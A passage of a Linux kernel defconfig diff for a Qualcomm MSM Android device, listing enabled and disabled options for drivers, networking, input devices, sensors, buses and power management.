CONFIG_RFKILL_REGULATOR is not set +# CONFIG_RFKILL_GPIO is not set +# CONFIG_NET_9P is not set +# CONFIG_CAIF is not set +# CONFIG_CEPH_LIB is not set +# CONFIG_NFC is not set +# CONFIG_NFC_QNCI is not set +CONFIG_IPC_ROUTER=y +CONFIG_IPC_ROUTER_SECURITY=y +CONFIG_HAVE_BPF_JIT=y + +# +# Device Drivers +# + +# +# Generic Driver Options +# +CONFIG_UEVENT_HELPER_PATH="" +# CONFIG_DEVTMPFS is not set +CONFIG_STANDALONE=y +CONFIG_PREVENT_FIRMWARE_BUILD=y +CONFIG_FW_LOADER=y +CONFIG_FIRMWARE_IN_KERNEL=y +CONFIG_EXTRA_FIRMWARE="" +CONFIG_FW_LOADER_USER_HELPER=y +# CONFIG_DEBUG_DRIVER is not set +# CONFIG_DEBUG_DEVRES is not set +# CONFIG_SYS_HYPERVISOR is not set +# CONFIG_GENERIC_CPU_DEVICES is not set +# CONFIG_HAVE_CPU_AUTOPROBE is not set +CONFIG_SOC_BUS=y +CONFIG_REGMAP=y +CONFIG_REGMAP_I2C=y +CONFIG_REGMAP_SPI=y +CONFIG_DMA_SHARED_BUFFER=y +CONFIG_CMA=y +# CONFIG_CMA_DEBUG is not set + +# +# Default contiguous memory area size: +# +CONFIG_CMA_SIZE_MBYTES=8 +CONFIG_CMA_SIZE_SEL_MBYTES=y +# CONFIG_CMA_SIZE_SEL_PERCENTAGE is not set +# CONFIG_CMA_SIZE_SEL_MIN is not set +# CONFIG_CMA_SIZE_SEL_MAX is not set +CONFIG_CMA_ALIGNMENT=8 +CONFIG_CMA_AREAS=15 +# CONFIG_CMA_RESERVE_DEFAULT_AREA is not set + +# +# Bus devices +# +# CONFIG_CONNECTOR is not set +# CONFIG_MTD is not set +CONFIG_DTC=y +CONFIG_OF=y + +# +# Device Tree and Open Firmware support +# +# CONFIG_PROC_DEVICETREE is not set +# CONFIG_OF_SELFTEST is not set +CONFIG_OF_FLATTREE=y +CONFIG_OF_EARLY_FLATTREE=y +CONFIG_OF_ADDRESS=y +CONFIG_OF_IRQ=y +CONFIG_OF_DEVICE=y +CONFIG_OF_I2C=y +CONFIG_OF_NET=y +CONFIG_OF_MDIO=y +CONFIG_OF_SPMI=y +CONFIG_OF_SLIMBUS=y +CONFIG_OF_BATTERYDATA=y +CONFIG_OF_RESERVED_MEM=y +# CONFIG_PARPORT is not set +CONFIG_BLK_DEV=y +# CONFIG_BLK_DEV_COW_COMMON is not set +CONFIG_BLK_DEV_LOOP=y +CONFIG_BLK_DEV_LOOP_MIN_COUNT=8 +# CONFIG_BLK_DEV_CRYPTOLOOP is not set +# CONFIG_BLK_DEV_DRBD is not set +# CONFIG_BLK_DEV_NBD is not set +CONFIG_BLK_DEV_RAM=y +CONFIG_BLK_DEV_RAM_COUNT=16 +CONFIG_BLK_DEV_RAM_SIZE=4096 +# CONFIG_BLK_DEV_XIP is not set +# CONFIG_CDROM_PKTCDVD is not set +# CONFIG_ATA_OVER_ETH is not set +# CONFIG_MG_DISK is not set +# CONFIG_BLK_DEV_RBD is not set + +# +# Misc devices +# +# CONFIG_SENSORS_LIS3LV02D is not set +# CONFIG_AD525X_DPOT is not set +# CONFIG_ATMEL_PWM is not set +# CONFIG_DUMMY_IRQ is not set +# CONFIG_ICS932S401 is not set +# CONFIG_ATMEL_SSC is not set +# CONFIG_ENCLOSURE_SERVICES is not set +# CONFIG_APDS9802ALS is not set +# CONFIG_APDS9930 is not set +# CONFIG_ISL29003 is not set +# CONFIG_ISL29020 is not set +# CONFIG_SENSORS_TSL2550 is not set +# CONFIG_SENSORS_BH1780 is not set +# CONFIG_SENSORS_BH1770 is not set +# CONFIG_SENSORS_APDS990X is not set +# CONFIG_HMC6352 is not set +# CONFIG_DS1682 is not set +# CONFIG_TI_DAC7512 is not set +# CONFIG_UID_STAT is not set +# CONFIG_BMP085_I2C is not set +# CONFIG_BMP085_SPI is not set +# CONFIG_USB_SWITCH_FSA9480 is not set +# CONFIG_LATTICE_ECP3_CONFIG is not set +# CONFIG_SRAM is not set +# CONFIG_HAPTIC_ISA1200 is not set +CONFIG_QSEECOM=y +# CONFIG_QFP_FUSE is not set +# CONFIG_QPNP_MISC is not set +# CONFIG_TI_DRV2667 is not set +# CONFIG_QCOM_LIQUID_DOCK is not set +# CONFIG_C2PORT is not set + +# +# EEPROM support +# +# CONFIG_EEPROM_AT24 is not set +# CONFIG_EEPROM_AT25 is not set +# CONFIG_EEPROM_LEGACY is not set +# CONFIG_EEPROM_MAX6875 is not set +CONFIG_EEPROM_93CX6=y +# CONFIG_EEPROM_93XX46 is not set + +# +# Texas Instruments shared transport line discipline +# +# CONFIG_TI_ST is not set +# CONFIG_SENSORS_LIS3_SPI is not set +# CONFIG_SENSORS_LIS3_I2C is not set + +# +# Altera FPGA firmware download module +# +# CONFIG_ALTERA_STAPL is not set +CONFIG_MSM_QDSP6V2_CODECS=y + +# +# SCSI device support +# +CONFIG_SCSI_MOD=y +# CONFIG_RAID_ATTRS is not set +CONFIG_SCSI=y +CONFIG_SCSI_DMA=y +CONFIG_SCSI_TGT=y +# CONFIG_SCSI_NETLINK is not set +CONFIG_SCSI_PROC_FS=y + +# +# SCSI support type (disk, tape, CD-ROM) +# +CONFIG_BLK_DEV_SD=y +# CONFIG_CHR_DEV_ST is not set +# CONFIG_CHR_DEV_OSST is not set +# CONFIG_BLK_DEV_SR is not set +CONFIG_CHR_DEV_SG=y +CONFIG_CHR_DEV_SCH=y +CONFIG_SCSI_MULTI_LUN=y +CONFIG_SCSI_CONSTANTS=y +CONFIG_SCSI_LOGGING=y +CONFIG_SCSI_SCAN_ASYNC=y + +# +# SCSI Transports +# +# CONFIG_SCSI_SPI_ATTRS is not set +# CONFIG_SCSI_FC_ATTRS is not set +# CONFIG_SCSI_ISCSI_ATTRS is not set +# CONFIG_SCSI_SAS_ATTRS is not set +# CONFIG_SCSI_SAS_LIBSAS is not set +# CONFIG_SCSI_SRP_ATTRS is not set +CONFIG_SCSI_LOWLEVEL=y +# CONFIG_ISCSI_TCP is not set +# CONFIG_ISCSI_BOOT_SYSFS is not set +# CONFIG_SCSI_UFSHCD is not set +# CONFIG_LIBFC is not set +# CONFIG_LIBFCOE is not set +# CONFIG_SCSI_DEBUG is not set +# CONFIG_SCSI_DH is not set +# CONFIG_SCSI_OSD_INITIATOR is not set +# CONFIG_ATA is not set +CONFIG_MD=y +# CONFIG_BLK_DEV_MD is not set +# CONFIG_BCACHE is not set +CONFIG_BLK_DEV_DM_BUILTIN=y +CONFIG_BLK_DEV_DM=y +# CONFIG_DM_DEBUG is not set +CONFIG_DM_CRYPT=y +# CONFIG_DM_REQ_CRYPT is not set +# CONFIG_DM_SNAPSHOT is not set +# CONFIG_DM_THIN_PROVISIONING is not set +# CONFIG_DM_CACHE is not set +# CONFIG_DM_MIRROR is not set +# CONFIG_DM_RAID is not set +# CONFIG_DM_ZERO is not set +# CONFIG_DM_MULTIPATH is not set +# CONFIG_DM_DELAY is not set +# CONFIG_DM_UEVENT is not set +# CONFIG_DM_FLAKEY is not set +# CONFIG_DM_VERITY is not set +# CONFIG_TARGET_CORE is not set +CONFIG_NETDEVICES=y +CONFIG_NET_CORE=y +# CONFIG_BONDING is not set +CONFIG_DUMMY=y +# CONFIG_EQUALIZER is not set +CONFIG_MII=y +# CONFIG_IFB is not set +# CONFIG_NET_TEAM is not set +# CONFIG_MACVLAN is not set +# CONFIG_VXLAN is not set +# CONFIG_NETCONSOLE is not set +# CONFIG_NETPOLL is not set +# CONFIG_NET_POLL_CONTROLLER is not set +CONFIG_TUN=y +# CONFIG_VETH is not set + +# +# CAIF transport drivers +# + +# +# Distributed Switch Architecture drivers +# +# CONFIG_NET_DSA_MV88E6XXX is not set +# CONFIG_NET_DSA_MV88E6060 is not set +# CONFIG_NET_DSA_MV88E6XXX_NEED_PPU is not set +# CONFIG_NET_DSA_MV88E6131 is not set +# CONFIG_NET_DSA_MV88E6123_61_65 is not set +CONFIG_ETHERNET=y +# CONFIG_NET_CADENCE is not set +# CONFIG_NET_VENDOR_BROADCOM is not set +# CONFIG_NET_CALXEDA_XGMAC is not set +# CONFIG_NET_VENDOR_CIRRUS is not set +# CONFIG_DM9000 is not set +# CONFIG_DNET is not set +# CONFIG_NET_VENDOR_FARADAY is not set +# CONFIG_NET_VENDOR_INTEL is not set +# CONFIG_NET_VENDOR_MARVELL is not set +# CONFIG_NET_VENDOR_MICREL is not set +# CONFIG_NET_VENDOR_MICROCHIP is not set +# CONFIG_NET_VENDOR_MSM is not set +CONFIG_MSM_RMNET_BAM=y +# CONFIG_NET_VENDOR_NATSEMI is not set +# CONFIG_ETHOC is not set +# CONFIG_NET_VENDOR_SEEQ is not set +# CONFIG_NET_VENDOR_SMSC is not set +# CONFIG_NET_VENDOR_STMICRO is not set +# CONFIG_NET_VENDOR_WIZNET is not set +CONFIG_PHYLIB=y + +# +# MII PHY device drivers +# +# CONFIG_AT803X_PHY is not set +# CONFIG_AMD_PHY is not set +# CONFIG_MARVELL_PHY is not set +# CONFIG_DAVICOM_PHY is not set +# CONFIG_QSEMI_PHY is not set +# CONFIG_LXT_PHY is not set +# CONFIG_CICADA_PHY is not set +# CONFIG_VITESSE_PHY is not set +# CONFIG_SMSC_PHY is not set +# CONFIG_BROADCOM_PHY is not set +# CONFIG_BCM87XX_PHY is not set +# CONFIG_ICPLUS_PHY is not set +# CONFIG_REALTEK_PHY is not set +# CONFIG_NATIONAL_PHY is not set +# CONFIG_STE10XP is not set +# CONFIG_LSI_ET1011C_PHY is not set +# CONFIG_MICREL_PHY is not set +# CONFIG_FIXED_PHY is not set +# CONFIG_MDIO_BITBANG is not set +# CONFIG_MDIO_BUS_MUX_GPIO is not set +# CONFIG_MDIO_BUS_MUX_MMIOREG is not set +# CONFIG_MICREL_KS8995MA is not set +CONFIG_PPP=y +CONFIG_PPP_BSDCOMP=y +CONFIG_PPP_DEFLATE=y +CONFIG_PPP_FILTER=y +CONFIG_PPP_MPPE=y +CONFIG_PPP_MULTILINK=y +CONFIG_PPPOE=y +CONFIG_PPPOLAC=y +CONFIG_PPPOPNS=y +CONFIG_PPP_ASYNC=y +CONFIG_PPP_SYNC_TTY=y +# CONFIG_SLIP is not set +CONFIG_SLHC=y + +# +# USB Network Adapters +# +# CONFIG_USB_CATC is not set +# CONFIG_USB_KAWETH is not set +# CONFIG_USB_PEGASUS is not set +# CONFIG_USB_RTL8150 is not set +# CONFIG_USB_RTL8152 is not set +CONFIG_USB_USBNET=y +CONFIG_USB_NET_AX8817X=y +CONFIG_USB_NET_AX88179_178A=y +CONFIG_USB_NET_CDCETHER=y +# CONFIG_USB_NET_CDC_EEM is not set +CONFIG_USB_NET_CDC_NCM=y +# CONFIG_USB_NET_CDC_MBIM is not set +CONFIG_USB_NET_DM9601=y +# CONFIG_USB_NET_SMSC75XX is not set +# CONFIG_USB_NET_SMSC95XX is not set +# CONFIG_USB_NET_GL620A is not set +CONFIG_USB_NET_NET1080=y +# CONFIG_USB_NET_PLUSB is not set +# CONFIG_USB_NET_MCS7830 is not set +# CONFIG_USB_NET_RNDIS_HOST is not set +CONFIG_USB_NET_CDC_SUBSET=y +# CONFIG_USB_ALI_M5632 is not set +# CONFIG_USB_AN2720 is not set +CONFIG_USB_BELKIN=y +CONFIG_USB_ARMLINUX=y +# CONFIG_USB_EPSON2888 is not set +# CONFIG_USB_KC2190 is not set +CONFIG_USB_NET_ZAURUS=y +# CONFIG_USB_NET_CX82310_ETH is not set +# CONFIG_USB_NET_KALMIA is not set +# CONFIG_USB_NET_QMI_WWAN is not set +# CONFIG_USB_HSO is not set +# CONFIG_USB_NET_INT51X1 is not set +# CONFIG_USB_IPHETH is not set +# CONFIG_USB_SIERRA_NET is not set +# CONFIG_USB_VL600 is not set +# CONFIG_MSM_RMNET_USB is not set +CONFIG_WLAN=y +# CONFIG_USB_ZD1201 is not set +# CONFIG_USB_NET_RNDIS_WLAN is not set +# CONFIG_LIBRA_SDIOIF is not set +# CONFIG_ATH6K_LEGACY_EXT is not set +CONFIG_WCNSS_CORE=y +CONFIG_WCNSS_CORE_PRONTO=y +CONFIG_WCNSS_MEM_PRE_ALLOC=y +CONFIG_WCNSS_REGISTER_DUMP_ON_BITE=y +# CONFIG_ATH_CARDS is not set +# CONFIG_BRCMFMAC is not set +# CONFIG_HOSTAP is not set +# CONFIG_LIBERTAS is not set +# CONFIG_WL_TI is not set +# CONFIG_MWIFIEX is not set + +# +# Enable WiMAX (Networking options) to see the WiMAX drivers +# +# CONFIG_WAN is not set +# CONFIG_DANIPC is not set +# CONFIG_ISDN is not set + +# +# Input device support +# +CONFIG_INPUT=y +CONFIG_INPUT_FF_MEMLESS=y +CONFIG_INPUT_POLLDEV=y +# CONFIG_INPUT_SPARSEKMAP is not set +# CONFIG_INPUT_MATRIXKMAP is not set + +# +# Userland interfaces +# +CONFIG_INPUT_MOUSEDEV=y +CONFIG_INPUT_MOUSEDEV_PSAUX=y +CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024 +CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768 +# CONFIG_INPUT_JOYDEV is not set +CONFIG_INPUT_EVDEV=y +# CONFIG_INPUT_EVBUG is not set +CONFIG_INPUT_KEYRESET=y +CONFIG_INPUT_KEYCOMBO=y +# CONFIG_SENSORS_HALL is not set + +# +# Input Device Drivers +# +CONFIG_INPUT_KEYBOARD=y +# CONFIG_KEYBOARD_ADP5588 is not set +# CONFIG_KEYBOARD_ADP5589 is not set +CONFIG_KEYBOARD_ATKBD=y +# CONFIG_KEYBOARD_QT1070 is not set +# CONFIG_KEYBOARD_QT2160 is not set +# CONFIG_KEYBOARD_LKKBD is not set +CONFIG_KEYBOARD_GPIO=y +# CONFIG_KEYBOARD_TCA6416 is not set +# CONFIG_KEYBOARD_TCA8418 is not set +# CONFIG_KEYBOARD_MATRIX is not set +# CONFIG_KEYBOARD_LM8323 is not set +# CONFIG_KEYBOARD_LM8333 is not set +# CONFIG_KEYBOARD_MAX7359 is not set +# CONFIG_KEYBOARD_MCS is not set +# CONFIG_KEYBOARD_MPR121 is not set +# CONFIG_KEYBOARD_NEWTON is not set +# CONFIG_KEYBOARD_OPENCORES is not set +# CONFIG_KEYBOARD_QPNP is not set +# CONFIG_KEYBOARD_SAMSUNG is not set +# CONFIG_KEYBOARD_STOWAWAY is not set +# CONFIG_KEYBOARD_SUNKBD is not set +# CONFIG_KEYBOARD_XTKBD is not set +# CONFIG_INPUT_MOUSE is not set +CONFIG_INPUT_JOYSTICK=y +# CONFIG_JOYSTICK_ANALOG is not set +# CONFIG_JOYSTICK_A3D is not set +# CONFIG_JOYSTICK_ADI is not set +# CONFIG_JOYSTICK_COBRA is not set +# CONFIG_JOYSTICK_GF2K is not set +# CONFIG_JOYSTICK_GRIP is not set +# CONFIG_JOYSTICK_GRIP_MP is not set +# CONFIG_JOYSTICK_GUILLEMOT is not set +# CONFIG_JOYSTICK_INTERACT is not set +# CONFIG_JOYSTICK_SIDEWINDER is not set +# CONFIG_JOYSTICK_TMDC is not set +# CONFIG_JOYSTICK_IFORCE is not set +# CONFIG_JOYSTICK_WARRIOR is not set +# CONFIG_JOYSTICK_MAGELLAN is not set +# CONFIG_JOYSTICK_SPACEORB is not set +# CONFIG_JOYSTICK_SPACEBALL is not set +# CONFIG_JOYSTICK_STINGER is not set +# CONFIG_JOYSTICK_TWIDJOY is not set +# CONFIG_JOYSTICK_ZHENHUA is not set +# CONFIG_JOYSTICK_AS5011 is not set +# CONFIG_JOYSTICK_JOYDUMP is not set +CONFIG_JOYSTICK_XPAD=y +CONFIG_JOYSTICK_XPAD_FF=y +CONFIG_JOYSTICK_XPAD_LEDS=y +CONFIG_INPUT_TABLET=y +CONFIG_TABLET_USB_ACECAD=y +CONFIG_TABLET_USB_AIPTEK=y +CONFIG_TABLET_USB_GTCO=y +CONFIG_TABLET_USB_HANWANG=y +CONFIG_TABLET_USB_KBTAB=y +CONFIG_TABLET_USB_WACOM=y +CONFIG_INPUT_TOUCHSCREEN=y +CONFIG_TOUCHSCREEN_SYNAPTICS_DSX_v21=y +CONFIG_TOUCHSCREEN_SYNAPTICS_DSX_I2C_v21=y +# CONFIG_TOUCHSCREEN_SYNAPTICS_DSX_SPI_v21 is not set +# CONFIG_TOUCHSCREEN_SYNAPTICS_DSX_CORE_v21 is not set +# CONFIG_TOUCHSCREEN_ADS7846 is not set +# CONFIG_TOUCHSCREEN_AD7877 is not set +# CONFIG_TOUCHSCREEN_AD7879 is not set +CONFIG_TOUCHSCREEN_ATMEL_MXT=y +# CONFIG_TOUCHSCREEN_ATMEL_MAXTOUCH_TS is not set +# CONFIG_TOUCHSCREEN_AUO_PIXCIR is not set +# CONFIG_TOUCHSCREEN_BU21013 is not set +# CONFIG_TOUCHSCREEN_CY8CTMG110 is not set +# CONFIG_TOUCHSCREEN_CYTTSP_CORE is not set +# CONFIG_TOUCHSCREEN_DYNAPRO is not set +# CONFIG_TOUCHSCREEN_HAMPSHIRE is not set +# CONFIG_TOUCHSCREEN_EETI is not set +# CONFIG_TOUCHSCREEN_EGALAX is not set +# CONFIG_TOUCHSCREEN_FUJITSU is not set +# CONFIG_TOUCHSCREEN_ILI210X is not set +# CONFIG_TOUCHSCREEN_GUNZE is not set +# CONFIG_TOUCHSCREEN_ELO is not set +# CONFIG_TOUCHSCREEN_WACOM_W8001 is not set +# CONFIG_TOUCHSCREEN_WACOM_I2C is not set +# CONFIG_TOUCHSCREEN_MAX11801 is not set +# CONFIG_TOUCHSCREEN_MCS5000 is not set +# CONFIG_TOUCHSCREEN_MMS114 is not set +# CONFIG_TOUCHSCREEN_MTOUCH is not set +# CONFIG_TOUCHSCREEN_INEXIO is not set +# CONFIG_TOUCHSCREEN_MK712 is not set +# CONFIG_TOUCHSCREEN_PENMOUNT is not set +# CONFIG_TOUCHSCREEN_EDT_FT5X06 is not set +# CONFIG_TOUCHSCREEN_SYNAPTICS_RMI4_I2C is not set +# CONFIG_TOUCHSCREEN_TOUCHRIGHT is not set +# CONFIG_TOUCHSCREEN_TOUCHWIN is not set +# CONFIG_TOUCHSCREEN_PIXCIR is not set +# CONFIG_TOUCHSCREEN_USB_COMPOSITE is not set +# CONFIG_TOUCHSCREEN_TOUCHIT213 is not set +# CONFIG_TOUCHSCREEN_TSC_SERIO is not set +# CONFIG_TOUCHSCREEN_TSC2005 is not set +# CONFIG_TOUCHSCREEN_TSC2007 is not set +# CONFIG_TOUCHSCREEN_W90X900 is not set +# CONFIG_TOUCHSCREEN_ST1232 is not set +# CONFIG_TOUCHSCREEN_TPS6507X is not set +CONFIG_TOUCHSCREEN_FT5X06=y +# CONFIG_TOUCHSCREEN_FT5X06_PSENSOR is not set +# CONFIG_TOUCHSCREEN_FT5X06_GESTURE is not set +# CONFIG_TOUCHSCREEN_HIMAX852XES is not set +# CONFIG_TOUCHSCREEN_MSTAR21XX is not set +CONFIG_TOUCHSCREEN_GEN_VKEYS=y +# CONFIG_TOUCHSCREEN_SYNAPTICS_I2C_RMI4 is not set +# CONFIG_SECURE_TOUCH is not set +# CONFIG_TOUCHSCREEN_GT9XX is not set +# CONFIG_TOUCHSCREEN_BU21150 is not set +# CONFIG_TOUCHSCREEN_MSG2XXX is not set +# CONFIG_TOUCHSCREEN_PROXIMITY_SENSOR is not set +# CONFIG_INPUT_MT_WRAPPER is not set +CONFIG_INPUT_MISC=y +# CONFIG_INPUT_AD714X is not set +# CONFIG_INPUT_BMA150 is not set +# CONFIG_INPUT_HBTP_INPUT is not set +# CONFIG_INPUT_MMA8450 is not set +# CONFIG_INPUT_MPU3050 is not set +CONFIG_SENSORS_MPU6050=y +# CONFIG_SENSORS_LIS3DH is not set +# CONFIG_INPUT_GP2A is not set +# CONFIG_INPUT_GPIO_TILT_POLLED is not set +# CONFIG_INPUT_ATI_REMOTE2 is not set +CONFIG_INPUT_KEYCHORD=y +# CONFIG_INPUT_KEYSPAN_REMOTE is not set +# CONFIG_INPUT_KXTJ9 is not set +# CONFIG_INPUT_POWERMATE is not set +# CONFIG_INPUT_YEALINK is not set +# CONFIG_INPUT_CM109 is not set +CONFIG_INPUT_UINPUT=y +CONFIG_INPUT_GPIO=y +# CONFIG_INPUT_ISA1200_FF_MEMLESS is not set +# CONFIG_INPUT_PCF8574 is not set +# CONFIG_INPUT_PWM_BEEPER is not set +# CONFIG_INPUT_GPIO_ROTARY_ENCODER is not set +# CONFIG_INPUT_ADXL34X is not set +# CONFIG_INPUT_IMS_PCU is not set +# CONFIG_INPUT_CMA3000 is not set +# CONFIG_BMP18X is not set +# CONFIG_SENSORS_MMA8X5X is not set +# CONFIG_SENSORS_AP3426 is not set +# CONFIG_SENSORS_AP3426_CM is not set +CONFIG_SENSORS_LTR553=y +# CONFIG_SENSORS_LTR559 is not set +CONFIG_SENSORS_MMC3416X=y +# CONFIG_SENSORS_MMC3416X_ALLOW_OVERFLOW is not set +CONFIG_SENSORS_AKM09911=y +CONFIG_SENSORS_AKM8963=y +# CONFIG_SENSORS_STK3X1X is not set +# CONFIG_SENSORS_CAPELLA_CM36283 is not set +# CONFIG_INPUT_KIONIX_ACCEL is not set +# CONFIG_SENSORS_BMA2X2 is not set +# CONFIG_SENSORS_BMM050 is not set +# CONFIG_SENSORS_BMG is not set + +# +# Hardware I/O ports +# +CONFIG_SERIO=y +CONFIG_SERIO_SERPORT=y +CONFIG_SERIO_LIBPS2=y +# CONFIG_SERIO_RAW is not set +# CONFIG_SERIO_ALTERA_PS2 is not set +# CONFIG_SERIO_PS2MULT is not set +# CONFIG_SERIO_ARC_PS2 is not set +# CONFIG_SERIO_APBPS2 is not set +# CONFIG_GAMEPORT is not set + +# +# Character devices +# +CONFIG_TTY=y +# CONFIG_VT is not set +CONFIG_UNIX98_PTYS=y +# CONFIG_DEVPTS_MULTIPLE_INSTANCES is not set +# CONFIG_LEGACY_PTYS is not set +# CONFIG_SERIAL_NONSTANDARD is not set +# CONFIG_N_GSM is not set +# CONFIG_TRACE_SINK is not set +CONFIG_DEVMEM=y +CONFIG_DEVKMEM=y + +# +# Serial drivers +# +# CONFIG_SERIAL_8250 is not set + +# +# Non-8250 serial port support +# +# CONFIG_SERIAL_MAX3100 is not set +# CONFIG_SERIAL_MAX310X is not set +# CONFIG_SERIAL_MSM is not set +# CONFIG_SERIAL_MSM_HS is not set +# CONFIG_SERIAL_MSM_HSL is not set +# CONFIG_SERIAL_BCM_BT_LPM is not set +# CONFIG_SERIAL_SCCNXP is not set +# CONFIG_SERIAL_TIMBERDALE is not set +# CONFIG_SERIAL_ALTERA_JTAGUART is not set +# CONFIG_SERIAL_ALTERA_UART is not set +# CONFIG_SERIAL_IFX6X60 is not set +CONFIG_SERIAL_MSM_SMD=y +# CONFIG_SERIAL_XILINX_PS_UART is not set +# CONFIG_SERIAL_ARC is not set + +# +# Diag Support +# +CONFIG_DIAG_CHAR=y + +# +# DIAG traffic over USB +# +CONFIG_DIAG_OVER_USB=y + +# +# HSIC/SMUX support for DIAG +# +# CONFIG_TTY_PRINTK is not set +# CONFIG_HVC_DCC is not set +# CONFIG_IPMI_HANDLER is not set +CONFIG_HW_RANDOM=y +# CONFIG_HW_RANDOM_TIMERIOMEM is not set +# CONFIG_HW_RANDOM_ATMEL is not set +# CONFIG_HW_RANDOM_EXYNOS is not set +CONFIG_HW_RANDOM_MSM=y +# CONFIG_R3964 is not set +# CONFIG_RAW_DRIVER is not set +# CONFIG_TCG_TPM is not set +CONFIG_MSM_SMD_PKT=y +# CONFIG_MSM_ADSPRPC is not set +# CONFIG_MSM_RDBG is not set +CONFIG_I2C=y +CONFIG_I2C_BOARDINFO=y +CONFIG_I2C_COMPAT=y +CONFIG_I2C_CHARDEV=y +# CONFIG_I2C_MUX is not set +CONFIG_I2C_HELPER_AUTO=y + +# +# I2C Hardware Bus support +# + +# +# I2C system bus drivers (mostly embedded / system-on-chip) +# +# CONFIG_I2C_CBUS_GPIO is not set +# CONFIG_I2C_DESIGNWARE_PLATFORM is not set +# CONFIG_I2C_GPIO is not set +# CONFIG_I2C_QUP is not set +CONFIG_I2C_MSM_V2=y +# CONFIG_I2C_OCORES is not set +# CONFIG_I2C_PCA_PLATFORM is not set +# CONFIG_I2C_PXA_PCI is not set +# CONFIG_I2C_SIMTEC is not set +# CONFIG_I2C_XILINX is not set + +# +# External I2C/SMBus adapter drivers +# +# CONFIG_I2C_DIOLAN_U2C is not set +# CONFIG_I2C_PARPORT_LIGHT is not set +# CONFIG_I2C_TAOS_EVM is not set +# CONFIG_I2C_TINY_USB is not set + +# +# Other I2C/SMBus bus drivers +# +# CONFIG_I2C_DEBUG_CORE is not set +# CONFIG_I2C_DEBUG_ALGO is not set +# CONFIG_I2C_DEBUG_BUS is not set +CONFIG_SLIMBUS=y +# CONFIG_SLIMBUS_MSM_CTRL is not set +CONFIG_SLIMBUS_MSM_NGD=y +CONFIG_SPI=y +# CONFIG_SPI_DEBUG is not set +CONFIG_SPI_MASTER=y + +# +# SPI Master Controller Drivers +# +# CONFIG_SPI_ALTERA is not set +# CONFIG_SPI_BITBANG is not set +# CONFIG_SPI_GPIO is not set +# CONFIG_SPI_FSL_SPI is not set +# CONFIG_SPI_OC_TINY is not set +# CONFIG_SPI_PXA2XX_PCI is not set +# CONFIG_SPI_SC18IS602 is not set +# CONFIG_SPI_XCOMM is not set +# CONFIG_SPI_XILINX is not set +CONFIG_SPI_QUP=y +# CONFIG_SPI_DESIGNWARE is not set + +# +# SPI Protocol Masters +# +CONFIG_SPI_SPIDEV=y +# CONFIG_SPI_TLE62X0 is not set +CONFIG_SPMI=y +CONFIG_SPMI_MSM_PMIC_ARB=y +CONFIG_MSM_QPNP_INT=y + +# +# Qualcomm MSM SSBI bus support +# +# CONFIG_SSBI is not set +# CONFIG_HSI is not set + +# +# PPS support +# +# CONFIG_PPS is not set + +# +# PPS generators support +# + +# +# PTP clock support +# +# CONFIG_PTP_1588_CLOCK is not set + +# +# Enable PHYLIB and NETWORK_PHY_TIMESTAMPING to see the additional clocks. +# +# CONFIG_PTP_1588_CLOCK_PCH is not set +CONFIG_PINCTRL=y + +# +# Pin controllers +# +CONFIG_PINMUX=y +CONFIG_PINCONF=y +CONFIG_GENERIC_PINCONF=y +# CONFIG_DEBUG_PINCTRL is not set +# CONFIG_PINCTRL_SINGLE is not set +CONFIG_USE_PINCTRL_IRQ=y +CONFIG_PINCTRL_MSM_TLMM=y +# CONFIG_PINCTRL_EXYNOS is not set +# CONFIG_PINCTRL_EXYNOS5440 is not set +CONFIG_ARCH_HAVE_CUSTOM_GPIO_H=y +CONFIG_ARCH_REQUIRE_GPIOLIB=y +CONFIG_GPIO_DEVRES=y +CONFIG_GPIOLIB=y +CONFIG_OF_GPIO=y +CONFIG_DEBUG_GPIO=y +CONFIG_GPIO_SYSFS=y + +# +# Memory mapped GPIO drivers: +# +# CONFIG_GPIO_GENERIC_PLATFORM is not set +# CONFIG_GPIO_EM is not set +# CONFIG_GPIO_MSM_V3 is not set +# CONFIG_GPIO_RCAR is not set +# CONFIG_GPIO_TS5500 is not set +# CONFIG_GPIO_GRGPIO is not set + +# +# I2C GPIO expanders: +# +# CONFIG_GPIO_MAX7300 is not set +# CONFIG_GPIO_MAX732X is not set +# CONFIG_GPIO_PCF857X is not set +# CONFIG_GPIO_SX150X is not set +# CONFIG_GPIO_ADP5588 is not set +# CONFIG_GPIO_ADNP is not set + +# +# PCI GPIO expanders: +# + +# +# SPI GPIO expanders: +# +# CONFIG_GPIO_MAX7301 is not set +# CONFIG_GPIO_MCP23S08 is not set +# CONFIG_GPIO_MC33880 is not set +# CONFIG_GPIO_74X164 is not set + +# +# AC97 GPIO expanders: +# + +# +# MODULbus GPIO expanders: +# +CONFIG_GPIO_QPNP_PIN=y +# CONFIG_GPIO_QPNP_PIN_DEBUG is not set + +# +# USB GPIO expanders: +# +# CONFIG_W1 is not set +CONFIG_POWER_SUPPLY=y +# CONFIG_POWER_SUPPLY_DEBUG is not set +# CONFIG_PDA_POWER is not set +# CONFIG_TEST_POWER is not set +# CONFIG_BATTERY_DS2780 is not set +# CONFIG_BATTERY_DS2781 is not set +# CONFIG_BATTERY_DS2782 is not set +# CONFIG_BATTERY_SBS is not set +# CONFIG_BATTERY_BQ27x00 is not set +# CONFIG_BATTERY_MAX17040 is not set +# CONFIG_BATTERY_MAX17042 is not set +# CONFIG_CHARGER_ISP1704 is not set +# CONFIG_CHARGER_MAX8903 is not set +# CONFIG_CHARGER_LP8727 is not set +# CONFIG_CHARGER_GPIO is not set +# CONFIG_CHARGER_MANAGER is not set +# CONFIG_CHARGER_BQ2415X is not set +# CONFIG_SMB137C_CHARGER is not set +# CONFIG_SMB349_USB_CHARGER is not set +# CONFIG_SMB350_CHARGER is not set +CONFIG_SMB135X_CHARGER=y +CONFIG_SMB1360_CHARGER_FG=y +CONFIG_SMB358_CHARGER=y +# CONFIG_BATTERY_BQ28400 is not set +# CONFIG_QPNP_CHARGER is not set +# CONFIG_QPNP_SMBCHARGER is not set +# CONFIG_QPNP_FG is not set +CONFIG_BATTERY_BCL=y +# CONFIG_CHARGER_SMB347 is not set +# CONFIG_BATTERY_GOLDFISH is not set +CONFIG_QPNP_VM_BMS=y +# CONFIG_QPNP_BMS is not set +CONFIG_QPNP_LINEAR_CHARGER=y +# CONFIG_MSM_BCL_CTL is not set +CONFIG_POWER_RESET=y +# CONFIG_POWER_RESET_GPIO is not set +CONFIG_POWER_RESET_MSM=y +# CONFIG_MSM_DLOAD_MODE is not set +CONFIG_MSM_PRESERVE_MEM=y +# CONFIG_POWER_RESET_RESTART is not set +# CONFIG_POWER_AVS is not set +# 